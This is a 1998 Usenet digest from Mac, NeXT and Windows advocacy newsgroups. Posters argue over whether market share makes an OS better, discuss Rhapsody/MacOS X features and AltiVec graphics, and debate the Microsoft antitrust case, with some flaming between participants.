> But go back and review the thread. Someone said that Rhapsody was better
> than NT. Instead of refuting that statement, Lawson said that the real
> question was how many people were using NT vs. Rhapsody.
>
> There's no problem discussing quantity. Market share is certainly an issue
> to consider under the appropriate circumstances.
>
> It is _not_, however an appropriate response to a discussion on which OS
> is better.
So are you admitting then that the quantity of an OS might have some
relevance into which OS is the better CHOICE to pick? I think that's
what most people are arguing anyway. Sure, some people think that the
quality of an OS can be determined by how many are sold (which is
clearly wrong). However, my point has been that since more people use a
certain OS, that makes it more desirable to many. In fact, the quantity
can make up for any quality differences (for me, the MacOS is inferior
anyway, so that's not an issue here).
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Date: 26 May 1998 10:59:00 -0700
Organization: Primenet Services for the Internet
Message-ID: <B190510B-E29E@206.165.43.154>
References: <joe.ragosta-2605981142210001@wil114.dol.net>
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/alt.windows95,
nntp://news.primenet.com/comp.os.ms-windows.advocacy
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Joe Ragosta <joe.ragosta@dol.net> said:
>But go back and review the thread. Someone said that Rhapsody was better
>than NT. Instead of refuting that statement, Lawson said that the real
>question was how many people were using NT vs. Rhapsody.
>
>There's no problem discussing quantity. Market share is certainly an issue
>to consider under the appropriate circumstances.
>
>It is _not_, however an appropriate response to a discussion on which OS
>is better.
But it IS an appropriate response to the question of whether or not the OS
is worth bothering with on a given set of hardware, which is the implied
importance of the question 'which OS is "better"?'
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Date: 26 May 1998 12:50:27 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kedqj$2ah$1@ns3.vrx.net>
References: <joe.ragosta-2605980830390001@wil131.dol.net> <B1901AA8-2FF0A@206.165.43.147>
<joe.ragosta-2605981037000001@wil134.dol.net> <6ke3uv$n7a$2@ns3.vrx.net>
<joe.ragosta-2605981142210001@wil114.dol.net>
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Cc: joe.ragosta@dol.net
In <joe.ragosta-2605981142210001@wil114.dol.net> Joe Ragosta claimed:
> But go back and review the thread. Someone said that Rhapsody was better
> than NT. Instead of refuting that statement, Lawson said that the real
> question was how many people were using NT vs. Rhapsody.
On that point I agree, but he then went on to ask how many would try it. I
believe that is a very good question.
> There's no problem discussing quantity. Market share is certainly an issue
> to consider under the appropriate circumstances.
>
> It is _not_, however an appropriate response to a discussion on which OS
> is better.
I believe it is. I believe for many situations the most popular OS is
indeed the BEST OS. Do you disagree? In every technical sense Rhapsody is
better than NT, but in most situations (currently) I think NT is the better
OS for most buyers.
Maury
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: 26 May 1998 17:38:35 GMT
Organization: P & L Systems
Message-ID: <6keumr$d5n$15@ironhorse.plsys.co.uk>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <aa829-2005982020580001@port27.dialb2.gain-ny.com>
<6k3258$md9$1@geraldo.cc.utexas.edu> <aa829-2205981611290001@port17.dialb2.gain-ny.com>
<6kb2si$ele$1@geraldo.cc.utexas.edu>
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Cc: kdb@pegasus.ece.utexas.edu
In <6kb2si$ele$1@geraldo.cc.utexas.edu> Kurt D. Bollacker wrote:
> Fine, but these are just excuses. Why should I use a document generation
> environment if I can't even see imported graphics in the editor? If WYSIWYG
> is not a standard feature supported by the OS, then 3rd party solutions
will
> not always provide it.
>
MacOS X will be WYSIWYG.
Best wishes,
mmalc.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: OpenGL and Altivec
Date: 26 May 1998 10:05:45 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6kei7p$345$1@crib.bevc.blacksburg.va.us>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <rmcassid-2205981007210001@dante.eng.uci.edu> <se <6ke3dg$n7a$1@ns3.vrx.net>
In article <6ke3dg$n7a$1@ns3.vrx.net>, maury@remove_this.istar.ca (Maury Markowitz) wrote:
> This is bad. Read up on CORDS at OSF and you'll see why.
What's CORDS?
From: mdadgar@apple.com (Mark Dadgar)
Newsgroups: comp.sys.next.advocacy
Subject: Re: RAID 5 for Rhapsody?
Date: 26 May 1998 18:23:08 GMT
Organization: Apple Computer, Inc.
Message-ID: <6kf1ac$7tk$1@news.apple.com>
References: <35634292.15907830@pacific.net.sg>
In article <35634292.15907830@pacific.net.sg> Koo <amind@pacific.net.sg>
writes:
> I'd like to know is there a RAID 5 system or anyone is working on a
> RAID 5 system for Rhapsody PPC?
You should be able to use just about any external SCSI-based RAID array
pretty painlessly.
I recommend the Baydel RAID array, as it's easily the best I've seen.
www.baydel.com
- Mark "Not Speaking for Apple or Baydel" Dadgar
--
Mark Dadgar
Product Marketing
Apple Computer
mdadgar@apple.com
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXTSTEP - Some useful features = MacOS X?
Date: 26 May 1998 18:04:06 GMT
Organization: P & L Systems
Message-ID: <6kf06m$d5n$16@ironhorse.plsys.co.uk>
References: <6jrak9$936$1@geraldo.cc.utexas.edu> <6jsa2r$u82$1@crib.bevc.blacksburg.va.us>
<6jsm6t$bjf$1@geraldo.cc.utexas.edu> <aa829-2305981112520001@port11.dialb2.gain-ny.com>
<6kb49o$ele$2@geraldo.cc.utexas.edu> <aa829-2505981729480001@165.254.59.52>
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Cc: aa829@ccn.cs.dal.ca
In <aa829-2505981729480001@165.254.59.52> Charlie Mingo wrote:
> Sorry, I meant DPS. DPS is the technology that makes NSXhosting
> possible. When they killed DPS, NSXhosting went with it.
>
Umm, not necessarily so.
All the indications are that there will be some form of remote hosting made
available as soon as possible, given the relative priorities of other aspects
of the windowserver. With a bit of luck we will get NSHosting as it should
have been done, i.e. with proper security measures included.
Best wishes,
mmalc.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.powerpc.advocacy
Subject: Re: OpenGL and Altivec
Date: Tue, 26 May 1998 11:42:07 -0700
Organization: UC Irvine
Message-ID: <rmcassid-2605981142070001@dante.eng.uci.edu>
References: <s9c71.38$Jb1.895312@news.rdc1.sfba.home.com> <joe.ragosta-1905981003200001@wil115.dol.net> <6jrn7c$4rf$2@ns3.vrx.net> <3561BB08.52935430@milestonerdl.com> <6jsiib$uma$1@crib.bevc.blacksburg.va.us> <3561D59A.6D04@CONVEX.COM> <3561E3EA.4680E7AE@milestonerdl.com> <35621EF1.9DEDCD98@nstar.net> <6ju8d3$7vp$1@ns3.vrx.net> <35648A33.7F5B@CONVEX.COM> <6k1hn9$pdd$1@ns3.vrx.net> <35649582.1F55@CONVEX.COM> <6k1moi$sp3$1@ns3.vrx.net> <rex-2205980058440001@192.168.0.3> <rmcassid-2205981007210001@dante.eng.uci.edu> <see-below-2205982233210001@209.24.240.37> <356662FD.D56CC983@nstar.net> <rmcassid-2305980010180001@dialin9223.slip.uci.edu> <3566CEAC.EC53C221@nstar.net> <rmcassid-2505982311390001@dialin9062.slip.uci.edu> <356AD3B0.5FA67D27@nstar.net>
In article <356AD3B0.5FA67D27@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
>Robert Cassidy wrote:
>
>> Trimedia's appeal was to the Quicktime crowd, not so much the 3D crowd
>> AFAIK. That's why I used that as an example.
>
>Your statement above says "...AltiVec should deliver competitive 3D."
>That's a bold statement, considering the PC 3D market.
And it's also not been made clear what element of the 3D market AltiVec
will be competitive with. The 3D market is very broad. So as bold as the
statement seems, it's also incomplete.
>Well, a single Intel i740 3D chip is something like $50, I think. A
>single 300 MHz AltiVec G4 CPU would be, what? $800?
>I don't think it would work. I would favor a plain OpenGL library. If
>they don't deliver it, somebody else is going to, 2 years late, just in
>time to embarass Apple *again* but too late for useful development. Kind
>of like Conix OpenGL on the MacOS, now that nobody gives a rat's ***.
Ok, so you want a i740 chip and a plain OpenGL library. Fine, just say
that. Buy a PC. There is nothing more really to add.
What you suggest is that everything should become a PC. After all, once
you have that i740 handling generic OpenGL, nothing else really comes into
play. Why then would you buy anything but a commodity PC? And there is
*nothing* Apple can do to compete with a commodity PC.
And as for portability being the goal - it isn't really for most game
developers. Windows support is the goal. Everything else is a market too
small to think about.
We could discuss other 3D arenas other than games, but that'd be pointless
since that $50 i740 can handle any and all 3D tasks that you would need to
do, correct?
-Bob Cassidy
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 26 May 1998 16:46:56 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kerm0$c5r$3@ns3.vrx.net>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com>
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Cc: macghod@concentric.net
In <6kf6jk$mcf$1@newsfep2.sprintmail.com> macghod@concentric.net claimed:
> I am looking to buy a computer. It MUST run the best operating system in
the
> world.
Which is what exactly?
> megs of vram, the 64 megs of ram, and the 56 k modem!! To get the g3 up to
> this, without having to spend $100 per item to have it put in, you have to
> use apples bto store.
Or put it in yourself.
Another stupid troll message.
Maury
From: maury@remove_this.istar.ca (Maury Markowitz)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,alt.windows95,comp.os.ms-windows.advocacy
Subject: Re: Rhapsody/Intel -- DUH!
Date: 26 May 1998 16:42:50 GMT
Organization: I used to be organized, then they canceled the Newton.
Message-ID: <6kerea$c5r$2@ns3.vrx.net>
References: <joe.ragosta-2605980830390001@wil131.dol.net> <B1901AA8-2FF0A@206.165.43.147>
<joe.ragosta-2605981037000001@wil134.dol.net> <6ke3uv$n7a$2@ns3.vrx.net>
<joe.ragosta-2605981142210001@wil114.dol.net> <MPG.fd4ad1e7535078a989745@news.itg.ti.com>
<joe.ragosta-2605981347470001@wil109.dol.net>
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Cc: joe.ragosta@dol.net
In <joe.ragosta-2605981347470001@wil109.dol.net> Joe Ragosta claimed:
> > So are you admitting then that the quantity of an OS might have some
> > relevance into which OS is the better CHOICE to pick? I think that's
>
> Only in very rare occasions.
I don't think it's rare. It's why I ended up with a Wintel box.
> > certain OS, that makes it more desirable to many. In fact, the quantity
> > can make up for any quality differences (for me, the MacOS is inferior
> > anyway, so that's not an issue here).
>
> Exactly why does the number of licenses sold make it better?
Sold number isn't an issue. In use number is an issue.
> You could argue that it _indirectly_ might lead to more software, but it
> would make more sense to talk directly about software availability.
>
> You could argue that it _indrectly_ might make it easier to get support,
> but it would be better to discuss the need for support as a whole.
>
> You could argue that it might make it easier to pirate software. And I'd
> agree. But that's not much of a reason.
But all of these together make it useful.
Maury
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 26 May 1998 22:21:12 GMT
Message-ID: <6kff8o$r8n$1@newsfep2.sprintmail.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <6kerm0$c5r$3@ns3.vrx.net>
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Cc: maury@remove_this.istar.ca
In <6kerm0$c5r$3@ns3.vrx.net> Maury Markowitz wrote:
> In <6kf6jk$mcf$1@newsfep2.sprintmail.com> macghod@concentric.net claimed:
> > I am looking to buy a computer. It MUST run the best operating system in
> the
> > world.
>
> Which is what exactly?
Openstep or rhapsody
> > megs of vram, the 64 megs of ram, and the 56 k modem!! To get the g3 up
to
> > this, without having to spend $100 per item to have it put in, you have
to
> > use apples bto store.
>
> Or put it in yourself.
>
> Another stupid troll message.
Whatever.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: macghod@concentric.net
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 26 May 1998 22:26:26 GMT
Message-ID: <6kffii$r8n$2@newsfep2.sprintmail.com>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <6kf8b2$kbk@bgtnsc02.worldnet.att.net>
<6kfbc3$on2$1@newsfep2.sprintmail.com> <6kfcg2$3pc$1@crib.bevc.blacksburg.va.us>
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Cc: nurban@crib.bevc.blacksburg.va.us
In <6kfcg2$3pc$1@crib.bevc.blacksburg.va.us> Nathan Urban wrote:
> In article <6kfbc3$on2$1@newsfep2.sprintmail.com>, macghod@concentric.net
wrote:
>
> > > Number one, if you want to run the best OS in the world, that
eliminates
> > > the PII, no?
>
> > HAHAHAHAHAHAHAHA, what do you consider the best os in the world?
> > I hope you dont mean the macos which crashes alot,
>
> He probably means the successor, MacOS X. After all, wasn't this
> thread about whether or not a G3 would be the computer to buy to run it
> (or Rhapsody)?
Oh please, he probably doesnt have any idea what openstep is. And I am
talking about buying a computer NOW.
> > Think of everything bad that you could possibly think of happening to
> > NeXT tech, and you'll probably nail it. I have so far.
>
> I think you're overreacting. I've been using that technology for
> longer than you have (3 years) as my primary operating system, and
> I think that in MacOS X I am getting an overall improvement on it.
> Sure, some things have been lost, including some things I really like,
> but there are lots of new good things too.
No, I am not overreacting because that quote isnt mine. It is a quote of a
Next user/developer.
--
Running on Openstep 4.2, the best os in the world, and about to get better!
MACHEAD SEEKS qa work!!, email me for resume
NeXTMail and MIME OK!
From: mdevlin@eltrax.com (T. Max Devlin)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 26 May 1998 21:23:23 GMT
Organization: Eltrax Systems/Hi-TECH Connections
Message-ID: <357b26b9.31161519@news.supernews.com>
References: <rmcassid-1205980106390001@dialin33418.slip.uci.edu> <6jb7i9$d0l$1@nnrp1.dejanews.com> <rmcassid-1305980120280001@dialin33423.slip.uci.edu> <6jgf0l$fvt$1@nnrp1.dejanews.com> <rmcassid-1505981205450001@dante.eng.uci.edu> <6jl4vq$pqa$1@nnrp1.dejanews.com> <rmcassid-1805981355460001@dante.eng.uci.edu> <6jr0kn$ij5$1@antares.en.com> <356512fc.258067534@news.supernews.com> <6jvgbq$jo1$1@nnrp1.dejanews.com> <35c68fc9.353563848@news.supernews.com> <6k6v64$gu7$1@nnrp1.dejanews.com>
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dpetticord@hotmail.com, on Sat, 23 May 1998 16:57:41 GMT,
> mdevlin@eltrax.com (T. Max Devlin) wrote:
>> dpetticord@hotmail.com, on Wed, 20 May 1998 21:01:46 GMT,
[...]
>> >The DOJ may have enough of a case to force Microsoft to yield on this
>> >point and the two of them may yet come to an agreement. If they do not,
>> >the court procedings will be entertaining.
>>
>> That's not enough for me. ;-)
>> If Microsoft is allowed to continue their "business as usual" except for
>> small changes to give the appearance of accommodating competition, then
>> we are worse off than when we started. Completely installing and
>> distributing Netscape is just the very start of what they need to do.
>>
>
>And I thought I was an idealist <g>
>
>Just how do you propose to legally stop Microsoft from just giving the
>"appearance of accommodating competition"?
By ensuring that the criteria (a competitive market) supersedes the
mechanism (Microsoft accommodating competition). If whatever Microsoft
does maintains their monopoly in the OS market, then they are not truly
accommodating competition. Sometimes, you have to work yourself out of
a job, or you're just ripping off your employer/customer. ;-)
>
>Even breaking it up won't stop them from doing that.
Yes it will. By allowing apps developers equal access along with MS
apps developers to the MS OS, it will prevent them, not from maintaining
an OS monopoly (which is bad enough, but by itself will work out over a
number of years, as niche products eat away at MS's market), but from
using it to leverage dominance in the apps world.
[...]
>Sorry, I am not sure how your response is connected to mine.
>You made some good points, but I thought we were discussing the
>vulnerability of Windows.
My point was that Windows is not vulnerable as long as MS is allowed to
maintain apps without competition (that is, fair access to the OS).
Once that happens, Windows will be vulnerable, though by no means a
sitting duck. Once app developers can start building bridges between
the Win OS and other systems, Windows will have to stay competitive to
survive, rather than just maintaining their monopoly.
>
><snip>
>
>> This is
>> an artificial situation that can do nothing but restrict customer choice
>> and innovation.
>>
>
><ahh> Maybe I get it. Are you saying Windows is freak of nature and should
>be destroyed? Furthermore, Microsoft's claim of paternal rights is just
>a coverup for unbridled greed and their use of laws that protects these
>rights is an abuse of the legal system. Am I getting close?
Will you "win" if I say "yes, you're close"? In reality, this troll got
closer than you think, but you got it all wrong anyway. ;-)
What I'm saying is that *any monopoly in operating systems* is a freak
of nature, as it is impossible for a single operating system to be
different enough from all others as to be irreplaceable, while similar
enough to be considered a general purpose OS. In other words, Windows
is not a freak of nature, Windows' *monopoly* is a freak of nature and
should be destroyed. Furthermore, Microsoft's claim to paternal rights
for the spread of general purpose computing is just a coverup for
unbridled marketing, and their constant denial that they are acting
anti-competitively is an abuse of the legal system.
>
><snip>
>> Even if they are entirely market constructs,
>> however, it is a requirement, if you are going to provide an OS for the
>> general purpose computer market, that you give equal access to that OS
>> in every way to any interested app developer. Otherwise, it is a
>> special purpose product, and it is somewhat fraudulent to market it
>> otherwise.
>>
>
>Microsoft may be guilty of a lot of things, but I believe they are better
>than most in giving equal access to "any interested app developer". For
>a nominal fee anyone can sign up for the MS Developer Network. This
>gives you all the latest developer kits, knowledge bases and Beta releases.
>
>The biggest exception to that would be any special treatment they give to
>their own developers that they do not put in the MSDN.
Bingo! So much for equal access to any interested app developer. Don't
you see, until you realize that MS apps developers should never have
more access than other app developers, the situation is entirely
anti-competitive.
So are we just punishing Microsoft for making Windows so "successful"
that it is on 85%+ of PCs? Yea, sorry, we are. Just like we punished
Standard Oil for such keen business sense as to buy all the producers
and all the distributors, too, and just like we punished Ma Bell for
building the world's greatest telecommunications switching network.
Tough break, MS, guess you'll just have to "try to survive" with your
85% installed base and your billions of dollars.
[...]
>
>I agree, "everybody does it" is not an excuse for illegal behavior. The
>tricky part is when companies/politicians/media focus on giving the
>users/voters/public what they ask for. I assume you agree the
>voters have the government they asked for. Is it reasonable to assume
>the media is also providing what is in the interest of the public? I
>believe both of these institutions could be better at serving the public.
>
>Now for the tricky part.
>
>Is it possible Microsoft is also giving the users what they asked for?
And if the customer's ask for everything and anything, and MS picked the
things they responded to based solely on their needs, instead of the
customers? Illegal? No, of course not. Anti-competitive? Maybe.
>
>If they public allows themselves to be "trapped" into not making decisions.
If the public is ignorant (as they are) of the issues, then isn't this
fraud?
>Companies are legally allowed to do that. From my point of view, many
>companies are more than happy to spare consumers the head-ache of having
>to make a choice.
Once again, the "everybody does it" argument.
>
>Now, you and the DOJ have the burden of proving this is illegal.
No we don't. We only have to prove that MS is an anti-competitive
monopoly; not that they attained it illegally. It is OK to have a
monopoly (as you often remind us). But it is not OK to use it in
certain ways, whether you gained it legally or not.
>
>Microsoft can point to "standard business practices" as evidence they are
>doing what any other non-monopoly can and does do. If I understand correctly,
>anti-trust laws make it illegal for monopolies to do things ONLY a monopoly
>can do.
I submit that since this is the first monopoly of its kind (general
purpose personal computers having never before existed), having a
monopoly on PC operating systems is something ONLY a monopoly can do.
>
>There will be a lot of close calls in this anti-trust case (IMO). This is
>just one example.
There is only one example of a company using an OS monopoly to leverage
dominance in office apps, browsers, and soon groupware. At the risk of
trolling again, it doesn't _matter_ if what they are doing is
specifically illegal; they shouldn't be doing it. It results in a
disfunctional market, guaranteeing their continued monopoly without
possibility of competition, and prevents innovation.
>
><snip>
>> I won't be able to convince people that it is stupid to buy well
>> marketed but poorly made products unless I can so them a viable
>> alternative, which I can't do as long as the poorly made products are
>> the only ones allowed in the market.
>>
>
>But Max, people don't want to be shown alternatives.
>
>You are focused on Microsoft, try looking at the other side. Consider this,
>the average Windows98 user will want only one thing, access to the Internet.
>A little research and some elbow grease could get this user a '486 computer
>with Linux and Netscape for almost no cost.
>
>Too farfetched? How about Quicken verses Money97? Quicken was a MUCH better
>product (IMO). Microsoft did not use any special APIs in connecting Money
>to it's OS. Quite the opposite. I was disappointed with how poorly Money97
>coordinated with ANYTHING else. People still bought Money97. Why, because
>they were too lazy to look beyond the Microsoft label.
>
>Talking about the browser war. Microsoft has conceded that it would allow a
>link to Netscape's home page on the desktop. This isn't good enough?!?!?
>Of course, Microsoft assumes people will not bother to download the FREE
>browser, they are right.
>
>Poor public attitude is being assumed as a given in this case. It is not
>enough to give the users a reasonable choice. Even you see the danger in
>only forcing Microsoft to put Navigator on the desktop. The users will
>make the easy choice, Microsoft. Nothing short of removing Microsoft as
>a choice will have the effect you are looking for. This is Microsoft's
>fault? Of course, they took advantage of these poor, defenseless users
>and brainwashed them all into ignoring alternatives.
>
>Sorry, Max. Even if you are successful in "destroying Microsoft" another
>company would be right there to take it's place. I can think of one right
>off the top of my head, IBM.
>
>(some past IBM's business practices make Microsoft's look like childish
>pranks)
You misunderstand the intricacy of Microsoft's plot for world
domination, Dave. ;-)
Seriously, though, I understand what you are saying, and have confronted
this issue myself. But the result is simply that you are wrong. No
other company could possibly build a monopoly in both OS and apps
markets without being in Microsoft's shoes, with Microsoft's new market.
If the public today were to be faced with the same decision that we all
were in 1985, do you think EVERYBODY would just meekly accept that DOS
is the best possible solution for every computing problem? Hell, we
didn't buy it back then! It _wasn't_ consumer's choices that put
Microsoft in the drivers seat. IT WAS THE PER-PROCESSOR LICENSING
AGREEMENT! I'm not going to second-guess why IBM or AT&T couldn't
manage to make a real go of PCs; let's just chalk it up to general
management incompetence. The fact is, however, that neither ended up
competing with Microsoft, because each was up-front about their
intentions to build proprietary PCs, and nobody bought into that. The
whole point of this new exciting hardware system was that it was open;
interchangeable components and unlimited extensibility (or so was the
claim). Now we see what happens when you don't watch greedy capitalist
bastards like a hawk; now it is the software system which is every bit
as proprietary than the hardware, and worse, it is _because_ it was
originally sold under the auspices of open competition (despite the
unknown reality of MS's deals and scheming) that it is successful.
>
>> >And I will join you in the fight. Let's make Linux better. Let's
>> >teach users a better way. Let's SHOW them why Microsoft's products
>> >are inferior. Forcing people to do the "right thing" without explaining
>> >why accomplishes nothing.
>>
>> I appreciate your enthusiasm. I am trying to do all those things.
>> Unfortunately, as long as Microsoft is allowed to maintain an unethical,
>> anti-competitive, and illegal monopoly, I don't have too much faith in
>> the "right way" overcoming the billions they have to spend to convince
>> people we are wrong, and they should just keep buying Microsoft, because
>> the next version will be as easy as the new Linux, and far superior to
>> any other products...
>
>Then quit fighting Microsoft. Let's mold Linux machines into cheap Microsoft
>terminals. There is a lot of good, used equipment out there.
>"We may not be as good as the yet-to-be-seen WinTel machine, but we are
>cheaper."
Bullshit. Most people still think that Windows came free with their
computer. You can't compete with MS on price at either the low end or
the high end. You can't compete with MS on quality at either the low
end or the high end. The fact is, you just can't compete with
Microsoft. I'm not going to waste time trying. Not until the
anti-trust case is finished, and Microsoft is forced to be competitive.
>
>Take advantage of Microsoft's weaknesses. They are big and bloated. They
>are getting bigger and more bloated. We need to be small and lean.
If I had the luxury of unlimited time, I would go with you. I am not
willing to allow MS to milk this market they have swindled for the five
or ten years it would take to even get started with such an effort.
Microsoft can crush small and lean simply by announcing a product that
does just what ours does, regardless of reality or their ability to
deliver. I've seen companies wait FIVE YEARS for "Exchange" to be
"ready", rather than simply implement a functional but less flashy email
system, or even go with the functional but of course limited (EVERYTHING
IS LIMITED) GroupWise from Novell. Hell, Novell STILL kicks butt in
comparison to NT for typical file-sharing applications. If small, lean,
and already proven can't take advantage of Microsoft's weaknesses, how
are you supposed to?
You're just being idealistic, David. The reality is that nothing will
stop Microsoft except stopping Microsoft.
--
T. Max Devlin
Hi-TECH Connections/Eltrax Systems
*****************************************************
- Opinions expressed are my own.
Anyone else may use them only in
accordance with licensing agreements. -
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 26 May 1998 17:33:54 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6kfcg2$3pc$1@crib.bevc.blacksburg.va.us>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <6kf8b2$kbk@bgtnsc02.worldnet.att.net> <6kfbc3$on2$1@newsfep2.sprintmail.com>
In article <6kfbc3$on2$1@newsfep2.sprintmail.com>, macghod@concentric.net wrote:
> > Number one, if you want to run the best OS in the world, that eliminates
> > the PII, no?
> HAHAHAHAHAHAHAHA, what do you consider the best os in the world?
> I hope you dont mean the macos which crashes alot,
He probably means the successor, MacOS X. After all, wasn't this
thread about whether or not a G3 would be the computer to buy to run it
(or Rhapsody)?
> Think of everything bad that you could possibly think of happening to
> NeXT tech, and you'll probably nail it. I have so far.
I think you're overreacting. I've been using that technology for
longer than you have (3 years) as my primary operating system, and
I think that in MacOS X I am getting an overall improvement on it.
Sure, some things have been lost, including some things I really like,
but there are lots of new good things too.
Now, if they would just put in a preference for left-hand scrollbars..
From: mr_boxster@nospam_yahoo.com (MR_boxster)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: screwed? was:No Mac OS X for Intel...?
Date: Tue, 26 May 98 19:28:33 GMT
Message-ID: <6kf591$pp4$1@nntp2.ba.best.com>
References: <6jtt5c$q8k$1@news.cmc.net> <3562EA10.3ABFE6B5@pacific.net.sg> <6juunr$1od$1@crib.bevc.blacksburg.va.us> <joe.ragosta-2005981413320001@wil112.dol.net> <35642BED.C74CB80B@milestonerdl.com> <6k8ebo$vja$1@news.orbitworld.net> <joe.ragosta-2405980800010001@elk60.dol.net> <35699E1E.C8C20389@localhost.localdomain> <6kd7o6$13a62@odie.mcleod.net> <3569CE69.5174@earthlink.net> <6kdqvv$rf1$1@news12.ispnews.com>
In article <6kdqvv$rf1$1@news12.ispnews.com>, "Zico" <ZicoKnows@hotmail.com> wrote:
>x-no-archive: yes
>
>What is the price for Rhapsody on Intel going to be? If it's
>more than 250 bucks, then Jobs probably didn't even need
>to "steve" it himself. If it's under 100, I'll try it.
>
>Z
More important... Will it have support for my new whizbang peripherals. Who
cares if its better if it doesn't support my hardware.. E.G. look at Linux,
its usually 1 generation behind in video card drivers.
From: nurban@crib.bevc.blacksburg.va.us (Nathan Urban)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: It would be nice to own a g3 BUT....
Date: 26 May 1998 18:43:27 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6kfgig$3vc$1@crib.bevc.blacksburg.va.us>
References: <6kf6jk$mcf$1@newsfep2.sprintmail.com> <6kfbc3$on2$1@newsfep2.sprintmail.com> <6kfcg2$3pc$1@crib.bevc.blacksburg.va.us> <6kffii$r8n$2@newsfep2.sprintmail.com>
In article <6kffii$r8n$2@newsfep2.sprintmail.com>, macghod@concentric.net wrote:
> In <6kfcg2$3pc$1@crib.bevc.blacksburg.va.us> Nathan Urban wrote:
> > In article <6kfbc3$on2$1@newsfep2.sprintmail.com>, macghod@concentric.net
> wrote:
> > > > Number one, if you want to run the best OS in the world, that
> > > >eliminates the PII, no?
> > > HAHAHAHAHAHAHAHA, what do you consider the best os in the world?
> > > I hope you dont mean the macos which crashes alot,
> > He probably means the successor, MacOS X. After all, wasn't this
> > thread about whether or not a G3 would be the computer to buy to run it
> > (or Rhapsody)?
> Oh please, he probably doesnt have any idea what openstep is.
There you go jumping to completely unwarranted conclusions. And the
answer he gave is an answer _I_ might have given: the OS that I want to
run, and the one that I think will be the best, will not run on a PII.
Incidentally, I've spent my share of time helping you with OpenStep stuff,
but your juvenile behavior (witness your previous post on this thread,
the one I responded to, not to mention your _way_ out-of-line attack on
Kris Magnusson followed by a very lame attempt to excuse your behavior
as "just showing you what Jobs is like") is shortly going to land you
in my killfile. You've already pissed off several other knowledegable
OpenStep users who probably aren't inclined to help you anymore.
> And I am talking about buying a computer NOW.
Do you plan on using it for more than a year? Because if I were buying
a computer now, I'd buy a Mac, so I would be sure of being able to run
MacOS X.
> > > Think of everything bad that you could possibly think of happening to
> > > NeXT tech, and you'll probably nail it. I have so far.
> > I think you're overreacting. I've been using that technology for
> > longer than you have (3 years) as my primary operating system, and
> > I think that in MacOS X I am getting an overall improvement on it.
> > Sure, some things have been lost, including some things I really like,
> > but there are lots of new good things too.
> No, I am not overreacting because that quote isnt mine. It is a quote of a
> Next user/developer.
Oh please, don't give me that. It doesn't matter who wrote it, you
quoted it in support of your argument which means you agree with it.
Or do you mean to claim that you quoted something you felt was entirely
irrelevant to the argument you were making, for no apparent reason?
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Tue, 26 May 1998 15:11:23 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-2605981511230001@132.236.171.104>
